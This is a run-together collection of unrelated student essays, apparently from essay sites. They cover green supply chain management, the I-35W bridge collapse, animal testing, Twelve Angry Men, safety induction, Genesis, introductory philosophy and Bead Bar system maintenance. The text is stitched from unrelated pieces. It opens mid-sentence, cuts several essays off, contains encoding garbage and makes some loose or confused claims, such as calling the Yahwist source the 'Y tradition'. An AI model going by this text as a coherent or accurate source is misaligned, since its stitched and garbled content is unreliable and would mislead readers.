vertically integrate or market their products in connection with other partners has been given to the organisations. Supply Chain Integration The concept of Supply chain management evolved dramatically around the early 1990s.It turned out to be so due the increasing importance of the relationship of the firm with other suppliers. One of the possible reason for this was the emergence of a globalised marketplace. The firms needed to become more integrative amongst other firms to reduce the susceptibility of its supply chain. There are various examples and case studies where the firms have become or are becoming more integrative to their supply chain partners. A few good examples can be 1.) the Japanese automotive industry and the Italian craft-based industry. The operational processes of the supply chain are enhanced by the help of the added factors such as Lean and Just-In-Time (JIT) Management. The requirement of the organisations to become dynamically quick to respond to the needs of customers has become increasingly important.The contributing factors that would make firms more competitive are: speed (delivering customer demand quickly), agility (responsiveness to customer demand) and leanness (doing more with less) The Chronology of Green Supply Chain Management (GSCM) An emerging field that fibres out of the traditional supply chain perspective is Green supply chain management (GSCM). Businesses have been sparked to become more environmentally conscious by the quality revolution in the late 1980s and the supply chain revolution in the early 1990s. Green Supply Chain Management has gained popularity in both academics and professionals to intend in reducing waste and safeguarding the quality of product-life and the natural resources. Now the important assets to achieve best and state of art practices are Eco-efficiency and remanufacturing processes. The demand of the Global markets and pressures from governments are forcing businesses to become more sustainable. In my personal opinion, increase in government regulation and stronger public mandates for environmental responsibility have brought these issues onto strategic planning agendas, and into the executive suites. The key argument that came out in the literature over the last two decades are the concepts of: green design, green operations, reverse logistics, waste management and green manufacturing . The very first green supply chain came into existence in 1989. It was the first of its kind literature that developed a finest forecasting system for organisations to use and to forecast products that can potentially be reused/recycled. This forecasting system, however, was exceedingly controversial as individuals returning containers is not typically known with confidence, so therefore, the findings were somewhat unintelligible. The first green design literature came into context in 1991 with the aim of considering the need for a green design to reduce the impact of product waste. Further Life-cycle analysis was an example of a structure that came out of green design. Green Operations in terms of reverse logistics was an important concept that came out of the Green Supply Chain Management concept. The use of plastics and bottle recycling came up by late 1990s and early 2000. Waste management is another topic that came out of the Green Supply Chain Management literature. Green Manufacturing, on the other hand, was not conceptualised until 1993. Objectives of Green Supply Chain Management (GSCM) The purpose of the whole supply chain must be green to help the company achieve its environmental objectives. To facilitate this, employees must learn strategies on green procurement, understand business practices, corporate social responsibility strategies define, develop logistics processes more efficiently, and learn about the alignment of the chain supply to meet the goals of corporate sustainability. Every company that manufactures and sells products uses packaging materials every day. Packaging is used everywhere starting from moving raw material to a manufacturer followed by bulk finished goods to a distribution centre and in the end the final product to the customer. The packaging material executes a number of tasks; protects the objects from damage, from the ecological circumstances, and also make the objects easier to transportation and to make the item eye-catching to the customer. However, as the publics opinion about the environment is changing, companies are looking at how they can shift to greener packaging alternatives. A few of the suggested alternatives are: Recycled Content In packaging materials from recycled materials is available, including corrugated cardboard, molded pulp, cardboard, steel, newsprint, aluminum, glass and some but not all plastics. It is common practice to include some level of recycled content for certain packaging materials. Post-Consumer And Pre-Consumer Content The term post-consumer shows the finished products that were used by the consumer, then removed from waste for recycling. Materials recycled by households and non-residential users such as offices, manufacturers and retailers are included in the post-consumer materials. Examples of post-consumer materials include foam block, newspapers, glass and aluminum containers, and corrugated cartons. Pre-consumer content is different from post-consumer in that it includes the waste left by the methods of processing and printing, rejected by the manufacturer before it is used by the consumer. Either total recycled content by combining the totals for the period before post-consumer and / or the post-consumer recycled content is provided by the manufacturers. The environmental benefits are provided by both pre-consumer and post-consumer recycled materials. The use of recycled materials supply market with post-consumer items that are sorted to be recycled by consumers. Paperboard Packaging Cardboard is used for packaging materials in a variety of industries because of its cost, versatility and low durability. Increasing amounts of cardboard with post-consumer recycled materials are used by businesses because of its quality, cost advantage and a reduced impact on the environment. Companies have adopted the use of recycled cardboard in products reaching the consumer in mind to improve the quality, variety and availability of recycled cardboard. Various studies around the world today show that over 50% of products on supermarket shelves are packed in recycled cardboard. According to a survey conducted by the Alliance of recycled cardboard, 61% of consumers are more likely to buy a company that uses recycled cardboard packaging. The study also revealed that 77% of consumers felt better about a company that uses recycled cardboard and 80% said do something good for the environment when they buy products with recycled cardboard packaging. This suggests that the growing awareness of environmental issues by customers and the efforts that manufacturers regarding the use of recycled packaging does not go unnoticed. As companies move towards policies more friendly environment, a change effort that can be made throughout the supply chain that should not increase the overall cost is to improve the use of recycled packaging. Products such as recycled cardboard, which are now available are of high quality, low cost and are a major concern for consumers. Listening to Environmentally Aware Consumers As the community becomes more and more aware of the issues regarding the environment and global warming, consumers will be bound to ask more questions about the products they are purchasing. Some of the questions that the companies face today are: how green their manufacturing processes and supply chain are? How much is their carbon footprint? and How they recycle? Profiting from Being Green The myth that going green will result in lower profits and increased operational costs has disappeared as many companies now have realised that its not a bad thing and have been able to satisfy the customers desires to incorporate green initiatives in their supply chain processes and also convert it into increased profits. A number of companies have established the fact that there is a link between improved environmental performance and financial gains. Companies have had an insight into their supply chains and found out areas where improvements in the way they operate can result into increased profits. Just for an example General Motors condensed their clearance costs by $12 million by setting up a reusable container program with their suppliers. In a desperate attempt to reduce the costs throughout their supply chain, General Motors derived that the cost reductions they realised match the companys commitment to the environment, maybe General Motors may have been less concerned about the green issues if they were making record profits. Unawareness of Potential Benefits By reducing the environmental impact of their business processes, companies can find cost savings. Savings are often seen as an advantage to implement environmental policies, by re-examine the supply chain business, procurement, planning and management of material consumption for dispatch and delivery of finished products. Benefits attributed to reducing the environmental impact of a company are not in the minds of the executives of the supply chain despite the public emphasis on the environment. It shows that many executives are still unaware that improving the environmental performance of waste disposal and resulting low training costs, less the costs of environmental permitting, and often, reduced material costs. The expectation of an interest in environmental issues and environmental concerns by the community will not diminish as economic issues become more important because of the faltering economy.. Green Design Green design is a vital sub-theme to Green supply chain management. It encourages environmental awareness about designing a product or a service. Organisations have specific prospective to become eco-friendly in the direction of product re-manufacturing. Heavy industries that have intricate supply chains must take into concern the benefits of reverse logistics (RL). ISO14000 was introduced as a result of the Rio Summit on the Environment in 1992. The pressure groups calling for firms to encourage greening of their supply chains are growing. In 1998 a two-level location model is proposed on product recovery with the support of the Dutch government. The role of purchasing in reverse logistics system and design was examined. All the manufacturing plants that participated in the above mentioned model concluded that all of them were in favour of reverse logistics without government legislation having been imposed. Life-cycle Analysis Life-cycle analysis is an imperative part of Green Design. To measure environmental and resource related products to the production process life-cycle analysis was introduced. This measurement involves everything that comes in stages starting from extraction of raw materials, production, distribution, and remanufacturing, recycling and final disposal. Life cycle analysis scrutinize and enumerate the energy and materials used and wasted and measures the impact of the product on the environment. Government policies are also an additional feature for organisations to work in the direction of life-cycle analysis. Green Operations Reverse logistics Reverse Logistics (RL) is the contrary of traditional or forward logistics. A process where a manufacturer accepts previously shipped products from the point for consumption for possible recycling and re-manufacturing is reverse logistics. Various studies report that reverse logistics have been extensively used in automobile industries such as BMW and General Motors. Other companies such as Hewlett Packard, Storage Tek and TRW are also using reverse logistics as a supply chain process. Following reverse logistics would sooner or later help firms become more aggressive and competitive in their own industry. First stage in the recovery process is the Collection stage. For remanufacturing products are selected, collected and transported to facilities. To begin the converging process, the used products came from different sources and should be brought to product recovery facility. When sorting reusable products Sorting and Recycling are also an important mechanism. The collection schemes should be classified according to materials whether separated by the consumer (separation at source) or centralised (mixed waste). The end objective is to arrange products that can be reused to trim down costs of making new products. Implementation of GSCM to various areas Companies are investigating all aspects of their supply chain to reduce costs.A key element of any program of cost reduction is implemented waste reduction. There are a number of processes that can be used to reduce waste in the supply chain of a business. Design of product To identify where the use of raw materials can be reduced or high-priced materials be replaced, many companies are probing the design of their products. Indeed many businesses are reviewing each component to identify whether it can be manufactured or purchased at a lower price. Companies are examining cheaper and less wasteful materials when designing product packaging options. Raw material Management Every production process should be investigated to reduce the waste of raw materials. Waste material that cannot be recycled or reused must be redesigned in manufacturing operations processes. Even in processes that do produce waste that can be recycled should be examined due to the costs in recycling processes. Using Scrap Material The use reuse of waste material can be stretched out as well as minimizing the waste of raw materials in manufacturing processes. Improvements in the technology of reclaiming waste material means that companies that formerly discarded waste products now have the capability to reuse that material. The costs will inevitably fall helping more businesses with waste issues as the recycling technology becomes more available. Quality improvement Quality control is present in all manufacturing processes but usually aims on the finished product rather than reducing waste. Minimizing the waste of raw materials as well as producing a quality product should be the goal of quality management. Improving the overall quality of a companys manufacturing process will reduce waste overall as it will increase the quantity of finished goods that pass quality inspection. The Case of Kodak: Green Technological Advancement Since the early 1990s, the need for technological advancement to Green Operations is becoming more popular. The new economy has encouraged firms to be more environmentally sustainable and eco-efficient. Kodak is an example of a company that has a remanufacturing line to the supply chain. It is reported that 310 million single-use cameras have been returned since 1990. Although the timing of returns of singleuse cameras is unknown, Kodak has managed to allocate 310 million singleuse cameras back into their production line. The reason for this success came from its own product design. Kodaks single-use cameras are simple, reusable and easy to recycle, and because of this, Kodak has managed to reuse their products and save costs. Xerox Europe, US Naval Aviation are also good examples of Green Operations. Companies are encouraged to have Green Logistics due to various legislations. Producer responsibility has always been, and is still, a growing concern. This concern is important because organisations are now beginning to become more rational in preserving the natural resources and the environment. Why Change to Green Supply Chain Management? There are different thrusts for companies to change to a greener supply chain than the existing one. Some organisations are simply doing this because it is the right thing to do for the environment even though some of the motivators are quite unclear. Maybe some are more fundamental to environmental change, but others may not. Studies, however, reveal that profitability and cost reduction are some of the main motivators for businesses to become green in the supply chain. Reverse logistics were motivated primarily by economic factors and not concerns about protecting the eco-system. The reverse logistics can only bring about profitability and reduction of waste. Advertising took this idea further and argued that Green Supply Chain Management practices are only about win-win relationships on environmental and economic performance. There are hidden values to reverse logistics and the companies need to admit it.. The customers, on average, return about 6% of the products they buy. These products can be from plastic bottles to boxes. If organizations can capture this 6% return from the consumers,they will be able to cost-save. Doing this, however, still remains an issue. Reverse logistics can cost-save only if done precisely. Saying this means that before going any further to green logistics, organisations must have a core vision to promote Environmental Management. Conclusion The intention of this paper is to briefly provide an outline of the Green supply chain literature. This paper argues that the ecological impacts of industrial activity has been reduced by the help of Green Supply Chain Management.. Key academics have argued different angles to Green Supply Chain Management. The concepts of green design, green operations, reverse logistics, waste management and green manufacturing are the key themes that came out of the Green Supply Chain Management literature over the last two decades. This paper, however, briefly discussed some of these issues and, first of all, a brief introduction to conventional supply chain management was provided, then a discussion to the chronology of Green Supply Chain Management and green supply chain as a discipline. Green design and green operations were briefly discussed next. The motive for organisations to go towards green operations was dealt in the last part of this paper. Even though Green Supply Chain Management has been scrupulously reviewed, there are areas around Green supply chain that still require further study. One is a gap in the literature in terms of the stakeholders views towards green supply chain. Stakeholders views can sometimes be contradictory to the companys point of view. Normally, when the word natural environment and sustainability comes into the picture, this is seen as a restriction to the organisations generation of profits by most operation managers and stakeholders. Some stakeholders would go against green supply chain management and some would not. This paper recommends that researchers should focus more towards qualitative study such as interviews in understanding the variation in different stakeholder views towards green supply chain management to depict the varied views about the concept and how this, in the end, implicates management decisions.

Fairy Tale Love Essays -- essays papers

Fairy Tale Love Once upon a time there was a beautiful young woman. She had bleached blonde hair, sparkling ocean blue eyes, and a super model figure. After struggling with life’s challenges for a few years a strong, dark, handsome stock broker came along and rescued her. It was love at first sight. They got married, had one boy and one girl (in that order), and then lived happily ever after. At one point in time I believed this modern day dream was a realistic outlook on love. My opinion of this fairy tale story has been changed throughout the lessons of this course. I set my expectations as a child as to what love should be. Through movies, TV, magazines, and music these ideas were implanted in my mind. This course and personal experiences have opened my eyes to a more realistic approach to love. In the beginning, we are all naà ¯ve and innocent. Characters such as Charity from Summer portrays this idea. I related to her naivetà © and remembered how easily I became blinded by love. After becoming romantically involved with Harney, she was swept up by her emotions and lost all contact with reality. â€Å"He had caught her up and carried her away into a new world† (Summer 178). The first time I fell in love, I believed that the world revolved around him just as Charity did with Harney. I became oblivious to reality and the truth of the situation. My love as well as Charity’s, was so bent by the truth that we could only see what we wanted to. Charity was swept up in this fairy tale love that she believed would never end. When reality finally overtook her, she could not find the strength to overcome the black and white situation in front of her. â€Å"She had not the strength to shake off the spell that bound, she saw only the par... ...thought with one mind, and maintained an annoying privacy† (39). I thought romantic love should be like their bond, private and consumed in their own domain like Charity and Harney. This class has taught me to look beyond the set construct that modern day culture presses on us. I believe that love is the most abstract concept humans try to conceive. I do not think that any one view love is correct. As you age and mature, your impressions of love change. The main point I got out of the class was just the simple idea of looking past the emotions that are so unconstrained, to see the situation and true meaning for what it really is. In the future, I will no longer approach relationships and love as the fairy tale concept. Because in the end there is no happily ever after. Bibliography: Wharton, Edith. Summer. New York: Simon and Schuster 1917.

Building Construction

The collapse of the Interstate 35W bridge over the Mississippi River had done major damages in Minneapolis, Minnesota. Many assumptions and speculations about the causes of the collapse of the bridge system had appeared in the public. The public was seemingly confused about the real cause of the incidents and it is their right to be informed about the state of the investigation. The closest and very logical of the causes indicated in some of the investigations are stress or fatigue failure and lack of redundancy.Environment, Design, and Description of the I-35W bridge The I-35W bridge supports a total of eight lanes (four lanes on each direction). The average daily traffic (ADT) is given as 15,000 in each direction , with ten percent trucks. Constructed in 1967, the 581 meter long bridge has 14 spans. The main span is consist of a steel deck truss. The south approach spans are steel multi-beam. The north approach spans include both steel multieam and concrete slab span. There are two steel deck trusses. Builtup plates mostly composed the truss members.Rolled I-beams comprised the diagonal and vertical members. The truss members undergo poor welding details with the connections as mainly riveted and bolted. According to recent evaluation and inspection before the collapse of the bridge, corrosion at the floorbeam exists and rust are forming between connection plates. The two main trussses have an 11. 6-meter cantilever at the north and south ends. Twenty-seven floor trusses spaced at 11. 6 meters are also present. These floor trusses were framed into the vertical members of the main truss.The floor trusses consist of WF-shape members and have a 4. 97- meter cantilever at each end. The design specifications used in the bridge was the 1961 American Association of State Highway Officials (AASHTO) Specifications. During that time, most of the design uses unconservative fatigue design provisions. According to the fatigue evaluation report provided by the University o f Minnesota's Center for Transportation Studies in 2001, the approach spans had exhibited several fatigue problems promarily due to the distortion of the girders.The bridge truss and the floor truss system also exhibited poor fatigue details. Lack of redundancy in the main truss system was also present in the design. It is stated in the evaluation report of the University of Minnesota that cracking due to fatigue cause by a future increase in loading will first appear on the floor truss. According to them this future cracks is detectable since the floor truss are easy to inspect. In the incidence that cracks are not detected, the bridge could still hold the bridge system without the entire collapse of the system.In the report, the failure of the two main trusses of the bridge will definitely take much effect to the bridge system. Fatigue Resistance The Standard Specification and the Load and Resistance Factor Design provided by the American Association of State Highway Officials (AA SHTO) contain similar provisions for the fatigue design of welded details on steel ridges. These details are designed ased on the nominal stress which can be calculated using standard design equations and does not include the effects of welds and attachments.Since fatigue is usually present during sevice load application, the design parameters is only applied during service load conditions. Cracks due to fatigue have insignificant effect on the structures in compression but have tremendous effect on structures that experience tension. With this idea, the assessment on the cracks that propagate on such a bridge as the I-35W should only be consider to elements in tension. Structural Redundancy In all the design criteria of any structural system, loads existed in variety of paths should be significantly consider.The strength and reliability of the system can be ensure by the existence of the redundant paths or elements. Without the existence of this redundant system of elements, the fa ilure of the entire system is much possible. Past survey of the Committee on Redundancy of Flexural System on steel highway ad railroad bridges. The report summarized that a total of 96 structures were suffering some distress. It was also take into account that most of the failures were related to connections which were mainly welded.The report had also collected data which indicates that few steel bridges collapse if redundancy is present. Bridge systems with no redundancy was reported to have large number. In another research conducted by Ressler and Daniels, they found that the number of fatiguesensitive details present in the structure significantly affected the bridges with no redundant elements. Theoritical and Actual Bridge Response Many studies have shown that the simplified calculations used to predict the stresses provide a much higher value compare to the actual service stresses.Though the design calculations and load models provide appropriate results, it has great uncer tainty in the maximum life of a bridge system. However, it is still beneficial to have an accurate estimate of the typical everyday stress ranges. In a large bridge, 20 Mpa is the typical value of the service live-load stress ranges. The stress ranges are typically governed by dead loads and strength design specifications. This is the reason why the stress ranges are small. Since the strength design must account for a single case loading scenario over the life of the bridge, conservative load models are used.In addition to load conservative models, the assumptions provided in the analysis of the design can also be the cause of the large difference of the predicted stress and actual stress. A great example of the effect of the assumptions is the case of the US Highway 69 in Oklahoma. Fatigue damage was said to be present upon the welding that had been used in the widening of the bridge. The design computations of the bridge illustrated that the allowable stress ranges could be exceed ed at over 100 locations on the bridge.However, when the bridge was inspected, it appeared that the measure stress ranges was only 27 percent of the allowable stress ranges. This only shows the great effect of the assumptions used in the design of a certain structural system. Moreover, another study that indicates fatigue failure to be caused by the considerable amount of corrosion takes into account. This is the case of the Bridge 4654 in Minnesota where measured stress ranges ranged from 65 to 85 percent of the calculated analysis.These differences are to be point out to the fact that analytical methods provide assumptions that neglect ways in which the structure resists loads. For example, the study conducted y Brudette et al. , more than 50 years of bridge test data were collected and examined to determine specific load-resisiting mechanisms that are ignored in the design of the system. The study concluded that lower stress ranges in a structure can be due to unintended composit e action, contribution from non-structural elements, unintended partial fixity at abutments and direct transfer of load through the slab to the supports.In another study of the Ministry of Transportation of Ontario, they conducted a program of bridge testing that included more than 225 bridges over a period of 15 years. The study noted that much of the bridges can sustain much larger loads than their estimated capacities. Observations were also made regarding the behavior of the steel truss bridge. The observations are as follows: 1) the stringer of the floor system share a large tensile force thus reducing the strains experienced by the chord in contact with the floor system and 2) Composite action in non-composite system was shown to exist.

Animal Testing Essays - Animal Welfare, Medical Research

Animal Testing Essays - Animal Welfare, Medical Research Animal Testing Please Read This Warning Before You Use This Essay for Anything (It Might Save Your Life) Animal Testing Using animals for testing is wrong and should be banned. They have rights just as we do. Twenty-four hours a day humans are using defenseless animals for cruel and most often useless tests. The animals have no way of fighting back. This is why there should be new laws to protect them. These legislations also need to be enforced more regularly. Too many criminals get away with murder. Although most labs are run by private companies, often experiments are conducted by public organizations. The US government, Army and Air force in particular, has designed and carried out many animal experiments. The purposed experiments were engineered so that many animals would suffer and die without any certainty that this suffering and death would save a single life, or benefit humans in anyway at all; but the same can be said for tens of thousands of other experiments performed in the US each year. Limiting it to just experiments done on beagles, the following might sock most people: For instance, at the Lovelace Foundation, Albuquerque, New Mexico, experimenters forced sixty-four beagles to inhale radioactive Strontium 90 as part of a larger ^Fission Product Inhalation Program^ which began in 1961 and has been paid for by the US Atomic Energy Commission. In this experiment Twenty-five of the dogs eventually died. One of the deaths occurred during an epileptic seizure; another from a brain hemorrhage. Other dogs, before death, became feverish and anemic, lost their appetites, and had hemorrhages. The experimenters in their published report, compared their results with that of other experiments conducted at the University of Utah and the Argonne National Laboratory in which beagles were injected with Strontium 90. They concluded that the dose needed to produce ^early death^ in fifty percent of the sample group differed from test to test because the dogs injected with Strontium 90 retain more of the radioactive substance than dogs forced to inhale it. Also, at the University of Rochester School Of Medicine a group of experimenters put fifty beagles in wooden boxes and irradiated them with different levels of radiation by x-rays. Twenty-one of the dogs died within the first two weeks. The experimenters determined the dose at which fifty percent of the animals will die with ninety-five percent confidence. The irritated dogs vomited, had diarrhea, and lost their appetites. Later, they hemorrhaged from the mouth, nose, and eyes. In their report, the experimenters compared their experiment to others of the same nature that each used around seven hundred dogs. The experimenters said that the injuries produced in their own experiment were ^Typical of those described for the dog^ (Singer 30). Similarly, experimenters for the US Food and Drug Administration gave thirty beagles and thirty pigs large amounts of Methoxychlor (a pesticide) in their food, seven days a week for six months, ^In order to insure tissue damage^ (30). Within eight weeks, eleven dogs exhibited signs of ^abnormal behavior^ including nervousness, salivation, muscle spasms, and convolutions. Dogs in convultions breathed as rapidly as two hundred times a minute before they passed out from lack of oxygen. Upon recovery from an episode of convulsions and collapse, the dogs were uncoordinated, apparently blind, and any stimulus such as dropping a feeding pan, squirting water, or touching the animals initiated another convulsion. After further experimentation on an additional twenty beagles, the experimenters concluded that massive daily doses of Methoxychlor produce different effects in dogs from those produced in pigs. These three examples should be enough to show that the Air force beagle experiments were in no way exceptional. Note that all of these experiments, according to the experimenters^ own reports, obviously caused the animals to suffer considerably before dying. No steps were taken to prevent this suffering, even when it was clear that the radiation or poison had made the animals extremely sick. Also, these experiments are parts of series of similar experiments, repeated with only minor variations, that are being carried out all over the country. These experiments Do Not save human lives or improve them in any way. It was already known that Strontium 90 is unhealthy before the beagles died; and the experimenters who poisoned dogs and pigs with Methoxychlor knew beforehand that the large amounts they were feeding the animals (amounts no human could ever consume) would cause damage. In any case, as the differing results they obtained on pigs and dogs make it clear, it is not possible to reach any firm conclusion about the effects of a substance on humans from tests on

Twelve Angry Men essays

Twelve Angry Men essays The feature film twelve angry men is a wonderful example of how twelve individuals work through their differences in the movie and finally emerge as a cohesive unit. The two main characters in the movie are Juror number eight who is Henry Fonda and Juror number three who is Lee .J. Cobb. In the first scene in the movie the group process is in its embryonic stages with none of the jurors knowing each other. They first argue about how much time they should spend on the case as eleven out of the twelve jurors vote the boy as guilty in the preliminary vote with only Henry Fonda voting the boy as not guilty as he had a reasonable amount of doubt in his mind about the case and wanted to be sure before giving his judgment as the boy would have faced death through the electric chair if pronounced guilty. The jury needed to be unanimous in their decision therefore Fonda proposed to have a secret vote to see if anyone else changed their mind. Fonda did not vote here as he agreed he would vote the boy guilty if all the rest of the eleven jurors did so also. As it was one of the jurors voted not guilty and the direction of the case turned once again. This was a very important vote as the movie could have ended here if all the eleven jurors voted guilty as their verdict. Another conflict arose here amongst the jury when they all stated to blame juror number five for changing his vote as he like the accused boy was from the slums himself and had a very defensive view about people from the slums. This was not the case at all as it was juror number nine (Joseph Sweeney) who had changed his vote. This is where we see changes emerging within the jury. The vote now changes to nine to three in favor of guilty with juror number five changing his mind. We start seeing the influence juror number eight Henry Fonda has on the other members of the jury as he begins to ...

OUTLINE of the General Safety Planning. Im looking for an expert of Essay

OUTLINE of the General Safety Planning. Im looking for an expert of Occupational Safety Please - Essay Example To help realize this, employers should identify/set up a safety team who can train all employees and contractors. This is referred to as â€Å"Safety Induction†. In this program employees will be trained on the risks, safety issues, how to tackle this issues and how to escalate anything above their capacity. Outlined herein is the general safety induction for any construction or production company. Employees must be made aware and trained on how and where to protect themselves from what safety issue by using personal protection equipments (PPE). There are several areas in a company with various risks such as chemicals, hazard spills, noise that could impair hearing, falling object and carrying of heavy objects or tools among many others. Some of the PPEs are; reflective jackets/ high visibility reflectors. All employees must have this in order for them to be easily visible to avoid accidents e.g. being knocked by a forklift. Ear plugs or ear muffs for hearing protection in hig h noise area. Heavy duty goggle for eye protection against flying objects e.g. bottle bursts. Helmets for head protection, different hand gloves for different tasks, safety boots for feet protection and also basing on the kind of work, body protection clothes e.g. overalls for engineers or lab coats for technicians. Once the employees are taken through PPEs, they will be trained on the importance of observing laid down signage and other safety protocols such as observing walkways and its importance. On top of these, employees must be made aware of the protective policies adopted for their own safety. Some of the policies are; forbidding employees or contractors reporting to work under any influence of alcohol/drugs, any levels whatsoever, or reporting to work while sick. This could be disastrous especially if an individual is operating any kind of machine, neglect to this could be a risk to self and other coworkers. Also, employees must be forbidden to report to work with hanging je welry especially when working in the area or machine with belts as this can cause accidents. Smoking on the site should also be prohibited and employees who are smokers be provided with a smoking zone to avoid any fire blasts. On the other hand, the company should stipulate maximum time for working in a particular area based on the health risks involved e.g. someone should not be allowed work for more that 6 hours, when operating a high vibrating machine like a hand drill. Having finished with personal protection, the company should play its role in providing a safe working environment. This include providing things like easily accessible emergency showers and eye wash, lavatories on site, hand wash and sanitizers, cleaners to take care of the company neatness and spillages to avoid slippage accidents. Clearly marked emergency exits without any obstruction, emergency contacts and also an emergency clinic on site. Employees should be told of all this during the safety induction (Gupt a, P 8, 2006). Safety induction could be made more exciting by a brief video to accompany the training. This could go a significant way to stress the importance and possible accidents in case of neglect. By doing this, employees will have a real picture and will take personal safety to be their number one priority. After the induction, every employee and the contractor will be given a short quiz to assess the

Compare Bible Genesis Chapter 13 Essay Example | Topics and Well Written Essays - 500 words

Compare Bible Genesis Chapter 13 - Essay Example The first one was written during the time when Israel had kings ruling Jerusalem and before their deportation to Babylon in 587 BC. The customary scholarly description for the earlier custom, which extends sporadically all through the Pentateuch, is the Yahwist or J tradition. Many scholars would date the later creation story in Genesis 1:1 2:3 to a time after 587BC and the exile to Babylon. It is also argued that it may have been written even later i.e. after the return to Judah in 539BC during the Persian period. This tradition is called as the priestly tradition or the P tradition. There are lots of difference between the Y tradition and the P tradition (Shelley) The two chapters of Genesis fulfil every aspect of a Myth, or a kind of Myth conclusion. There are two accounts of creation in the genesis and they surely contradict each other. It is absolutely old and deals with a paranormal being that a society found vital. Therefore the first two chapters are an atheist's best friend and a Christian's nightmare. It is a blatant contradiction in what is claimed to be a divinely inspired document. In the first God created mankind on the sixth day. After making everything else, finally he creates mankind. Then he rests. In the subsequent creation the timeline is not broken up into days. But the first thing God does is to make Man before he makes even plants.

Philosophy 1 - Term Paper Assignment Example | Topics and Well Written Essays - 1250 words - 1

Philosophy 1 - Term Paper - Assignment Example That is deductive argument. However, if the process were done backward, then that would be inductive argumentation. There are three perennial issues philosophy has always been concerned and trying to resolve until now. The first issue is the meaning of life, which philosophy tries to find value and reason, or purpose, for one to exist. The next issue is the origin of life, which philosophy searches for understandable answers as to where do all life and existence begin or come from. The last issue is the question of reality. Philosophy seeks to understand whether what we know and experience with our perception actually exists, not merely appears. The cosmological argument for the existence of God states that the world or the cosmos most probably had a creator, a first cause, an unmoved mover who created everything that exist, which is attributed to God. On the other hand, the ontological argument would infer God’s existence through the a priori way of reasoning, wherein the human person can grasp the concept of a God, thus, there must be a God. The four ethical systems are the Aristotelian Golden Mean, Confucian Golden Rule, Natural Law Ethics and Kantian Categorical Imperative. The Aristotelian Golden Mean is all about doing things in balanced measure, never doing any act that is too much or too less but doing what is just enough. The Confucian Golden Rule speaks of doing what is right to others if one were to expect good from others as well. The Natural Law Ethics rules that since nature and the universe moves in an orderly manner, we must act in accordance as such. The Kantian Categorical Imperative asserts that an individual’s morality is absolute and unconditional in any circumstances The Western view of evil is that the existence of Evil is the absence of what is good. That means, an action that is void of any good

Hardware maintenance for checking the regular running equipments Essay Example for Free

Hardware maintenance for checking the regular running equipments Essay †¢ periodic replacement of hardware resources to keep it according to changing atmosphere (e. g. developmental plan revisions) †¢ system software also requires timely maintenance (fixing bugs, developing newer versions, revisions, etc) †¢ reports must be seriously checked for their correlation with system requirements (creating error logs, testing strategies, performance measures, etc) †¢ Maintenance and updation of system documentation for future reference and updations. Remedial maintenance – It is performed to bring the system to running condition after correcting the hardware or software fault (Mawer, 2000). The remedial service is likely to include: †¢ Create a Help Desk concept which will log and action any reports from the customer in the event of a fault. †¢ On-site or remote login concept of issue resolution. †¢ Engaging a third party service to resolve and manage the resolution. †¢ Updating documentation every time an event has taken place. In this case both the technical and non-technical staff must be made aware of the support strategies so that their response time is optimized for better handling the issues of the customer timely and professionally. 1. Sequence of activities: It includes the activities which must take place in sequence: Activity (Tasks) Duration (Days) Preceded By A Working out the feasibility of the system 1 _ B Collection of information from different groups and creating data flow diagrams 3 A C Internal review of information collected and its validity with the management 2 B D Identifying the relationships between the entities 3 C E Define the degree of interaction between entities 2 D F Creating E-R Model and establishing cardinality ratios with distributed feature taken into account (as the Center has 5 sub locations in the city) 2 D,E. G Identifying Functional dependencies and others and then Normalization of relations 1 F H Converting the normalized relations to tables in database 2 G I Creating primary key and foreign key relationships and implementing business rules using integrity constraints 1 H J Creating interfaces and report generation techniques 3 I K Connecting the database tables with the interfaces and distributing the application to become geographical independent 3 J L Testing the system 2 K M Implementing the system across locations 2 L N Create maintenance plans and documentations 1 L,M. O Final review report after installation 1 L,M,N Advantage to the Bead Bar: The merits of the technology would envelope the very nature of the technology which the enterprise needs to focus. The following are the various advantageous factors: †¢ The Bead Bar would get a global recognition and would be accepted by all. It would create trust and confidence in the eyes of the people. †¢ Having an internet website would make possible that it markets itself to the global pool of the internet and gets accessible quite possibly. Customers can access it online and order for purchase of products and services. †¢ The store would be able to reach a greater domain of customers so that it can be a good source for expanding their business. †¢ The store would require less budget for marketing as the website, in the form of information system would get the direct and indirect marketing done by itself. †¢ It can also reduce the human errors of wrong deliveries and other related factors. Computerized system would make it error-free and would enhance greater satisfaction of service (Hoffer, 2002). †¢ It can also generate revenue by marketing other related companies and their products in their website space. †¢ It can render services to other companies via its website so that other businesses can purchase its products in bulk for their enterprise requirements facilitating B2C model of ecommerce. †¢ Payment systems can be made quite secure so that customers can pay online and are not troubled by the in-hand payments. †¢ The Bar would have enough mechanism to track their product list and its availability so that timely action can be taken to update. †¢ The customers get a greater facility to compare products and judge the best one before taking them. Physically doing so would have taken them a lot of effort and time. Conclusion Bead Bar has taken a right step in the light of technology and it must exploit the very supreme nature of the latest technology. It has taken a great step which would place it above all its competitors and would enhance the very nature of competition. It must also take care of the innovative techniques for getting the customers using the website and the frequent updations that would make efficient handling of the information. The use of information system would make the Jewelry superstore organize and restructure itself so that it is able to depict organizational thought in every activity and would handle every resource productively and optimally. References/Bibliography Barry Mawer (2000). Systems Maintenance. Hoffer A. Jeffrey (2002). Modern systems analysis and design, third edition. Pearson Education Korth (2002). Database Management systems. Navathe Elmasri (2002). Fundamentals of Database systems, fourth edition. Pearson Education.

Macbeth Essay :: essays research papers

